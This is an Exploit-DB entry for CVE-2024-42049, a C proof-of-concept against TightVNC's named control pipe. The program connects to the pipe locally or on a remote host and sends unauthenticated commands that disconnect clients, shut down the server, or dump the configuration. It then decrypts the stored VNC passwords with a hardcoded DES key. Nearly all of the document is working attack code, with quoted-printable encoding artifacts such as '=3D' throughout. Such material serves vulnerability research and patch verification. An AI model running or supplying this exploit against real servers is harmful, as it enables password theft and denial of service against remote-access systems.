TightVNC 2.8.83 - Control Pipe Manipulation

EDB-ID:

52322




Platform:

Multiple

Date:

2025-06-09


# Exploit Title: TightVNC 2.8.83 - Control Pipe Manipulation
# Date: 06/09/2025
# Exploit Author: Ionut Zevedei (mail@izvd.eu)
# Exploit Repository: https://github.com/zeved/CVE-2024-42049-PoC
# Vendor Homepage: https://www.tightvnc.com/
# Software Link: https://www.tightvnc.com/download.php
# Version: 2.8.83
# Tested on: Windows 10 x64 - TightVNC 2.5.10, 2.8.81
# CVE : CVE-2024-42049

#include <windows.h>=20
#include <stdio.h>
#include <conio.h>
#include <tchar.h>
#include "descrypt.h"

#define GETBYTE(x, n) (((x) >> ((n) * 8)) & 0xFF)
#define BUFFER_SIZE 512

#define TVNC_CMD_DISCONNECT_ALL_CLIENTS 0x06
#define TVNC_CMD_GET_CLIENT_LIST        0x04
#define TVNC_CMD_SHUTDOWN_SERVER        0x07
#define TVNC_CMD_GET_SERVER_INFO        0x11
#define TVNC_CMD_GET_CONFIG             0x12

const unsigned int commands[6] =3D {
  TVNC_CMD_DISCONNECT_ALL_CLIENTS,
  TVNC_CMD_GET_CLIENT_LIST,
  TVNC_CMD_SHUTDOWN_SERVER,
  TVNC_CMD_GET_SERVER_INFO,
  TVNC_CMD_GET_CONFIG,
};

unsigned char des_key[8] =3D { 23, 82, 107, 6, 35, 78, 88, 7 };

void get_bytes(unsigned int data, unsigned char* out) {
  out[0] =3D GETBYTE(data, 3);
  out[1] =3D GETBYTE(data, 2);
  out[2] =3D GETBYTE(data, 1);
  out[3] =3D GETBYTE(data, 0);
}

// printf is wonky when printing passwords later
void print_passwd(unsigned char* passwd) {
  for (int i =3D 0; i < 8; i++) {
    printf("%c", passwd[i]);
  }
  printf("\n");
}

void print_error(unsigned long error_code) {
  unsigned char* buffer;
 =20
  // damn it windows...
  FormatMessage(
    FORMAT_MESSAGE_ALLOCATE_BUFFER |
    FORMAT_MESSAGE_FROM_SYSTEM |
    FORMAT_MESSAGE_IGNORE_INSERTS,
    NULL,
    error_code,
    MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
    (LPTSTR) &buffer,
    0, NULL);

  printf("[error]: %s\n", buffer);
}

void decrypt_passwords(unsigned char *buffer_ptr, unsigned int offset) {
  unsigned char primary_passwd[8] =3D { 0x00 };
  unsigned char view_only_passwd[8] =3D { 0x00 };

  printf("\n\tencrypted primary password: ");
  for (int i =3D 0; i < 8; i++) {
    primary_passwd[i] =3D buffer_ptr[offset + 8 + i];
    printf("%02x ", primary_passwd[i]);
  }
  printf("\n\tencrypted view-only password: ");
  for (int i =3D 0; i < 8; i++) {
    view_only_passwd[i] =3D buffer_ptr[offset + i];
    printf("%02x ", view_only_passwd[i]);
  }


  unsigned char primary_passwd_decrypted[8] =3D { 0x00 };
  unsigned char view_only_passwd_decrypted[8] =3D { 0x00 };

  decrypt(primary_passwd_decrypted, view_only_passwd,
    sizeof(primary_passwd_decrypted), des_key);
  decrypt(view_only_passwd_decrypted, primary_passwd,
    sizeof(view_only_passwd_decrypted), des_key);

  printf("\n\tdecrypted primary password: ");
  print_passwd(primary_passwd_decrypted);
  printf("\tdecrypted view-only password: ");
  print_passwd(view_only_passwd_decrypted);
}

BOOL open_pipe(PHANDLE handle_ptr, char *pipe_name) {
  unsigned long pipe_mode;
  BOOL result =3D FALSE;
  printf("[~] opening pipe %s...\n", pipe_name);

  while (1) {
    *handle_ptr =3D CreateFile(
      pipe_name,
      GENERIC_READ | GENERIC_WRITE,
      0,
      NULL,
      OPEN_EXISTING,
      FILE_FLAG_OVERLAPPED,
      NULL
    );

    if (*handle_ptr !=3D INVALID_HANDLE_VALUE) {
      printf("[+] pipe opened\n");
      break;
    }

    if (GetLastError() !=3D ERROR_PIPE_BUSY) {
      printf("[-] could not open pipe\n");
      print_error(GetLastError());
      return FALSE;
    }

    printf("[~] waiting for named pipe to be available - if this hangs the =
pipe server might be dead.\n");

    WaitNamedPipe(pipe_name, NMPWAIT_WAIT_FOREVER);
  }

  pipe_mode =3D PIPE_READMODE_BYTE;
  result =3D SetNamedPipeHandleState(*handle_ptr, &pipe_mode, NULL, NULL);

  if (!result) {
    printf("[-] failed setting pipe read mode\n");
    print_error(GetLastError());
    return result;
  }

  return result;
}

int main(int argc, char* argv[]) {

  HANDLE        pipe_handle =3D NULL;
  unsigned char message[8] =3D { 0x00 };
  unsigned char buffer[BUFFER_SIZE] =3D { 0x00 };
  BOOL          result =3D FALSE;
  unsigned long bytes_read, bytes_written;
  unsigned int  cmd_index =3D 0;
  unsigned int  offset =3D 30;

  if (argc < 3) {
    printf("usage: %s <command> <pipe> <offset?>\n", argv[0]);
    printf("offset - optional: default is 30 - change as needed\n");
    printf("commands:\n");
    printf("\t1 - disconnect all clients\n");
    printf("\t2 - get client list\n");
    printf("\t3 - shutdown server\n");
    printf("\t4 - get server info\n");
    printf("\t5 - get server config\n");
    printf("example pipes:\n\t\\\\192.168.1.42\\pipe\\TightVNC_Service_Cont=
rol\n");
    printf("\t\\\\.\\pipe\\TightVNC_Application_Control_On_Session1\n\n");
    return 0;
  }

  char* stop =3D NULL;
  cmd_index =3D strtol(argv[1], &stop, 10);

  if (stop =3D=3D '\0') {
    return 0;
  }

  cmd_index--;

  if (argc =3D=3D 4) {
    stop =3D NULL;
    offset =3D strtol(argv[3], &stop, 10);

    if (offset =3D=3D 0 || stop =3D=3D '\0') {
      return 0;
    }
  }

  if (!open_pipe(&pipe_handle, argv[2])) {
    goto exit;
  }

  printf("[i] sending command...\n");
 =20
  get_bytes(commands[cmd_index], message);
  result =3D WriteFile(pipe_handle, message, 8, &bytes_written, NULL);

  if (!result) {
    printf("[-] failed writing to pipe\n");
    print_error(GetLastError());
    goto exit;
  }

  printf("[~] message sent; waiting for reply\n");

  do {
    result =3D ReadFile(
      pipe_handle,
      buffer,
      BUFFER_SIZE * sizeof(unsigned char),
      &bytes_read,
      NULL
    );

    if (!result && GetLastError() !=3D ERROR_MORE_DATA)
      break;

    printf("[+] got %d bytes back!\n", bytes_read);
    printf("    hex: \n\t");

    for (int i =3D 0; i < bytes_read; i++) {
      printf("%02x ", buffer[i]);
    }

    printf("\n    char: \n\t");
    for (int i =3D 0; i < bytes_read; i++) {
      printf("%c", buffer[i]);
    }
    printf("\n\n");

    if (cmd_index =3D=3D 4) {
      printf("\n[~] command is get config, attempting to decrypt passwords =
using offset %d...\n", offset);
      decrypt_passwords(&buffer, offset);
    }

    memset(buffer, 0, BUFFER_SIZE);
  } while (!result);

  if (!result)
  {
    printf("[-] failed reading from pipe\n");
    print_error(GetLastError());
    goto exit;
  }

  printf("\n[+] done\n\n");

exit:
  if (pipe_handle !=3D NULL) {
    CloseHandle(&pipe_handle);
  }

  return 0;
}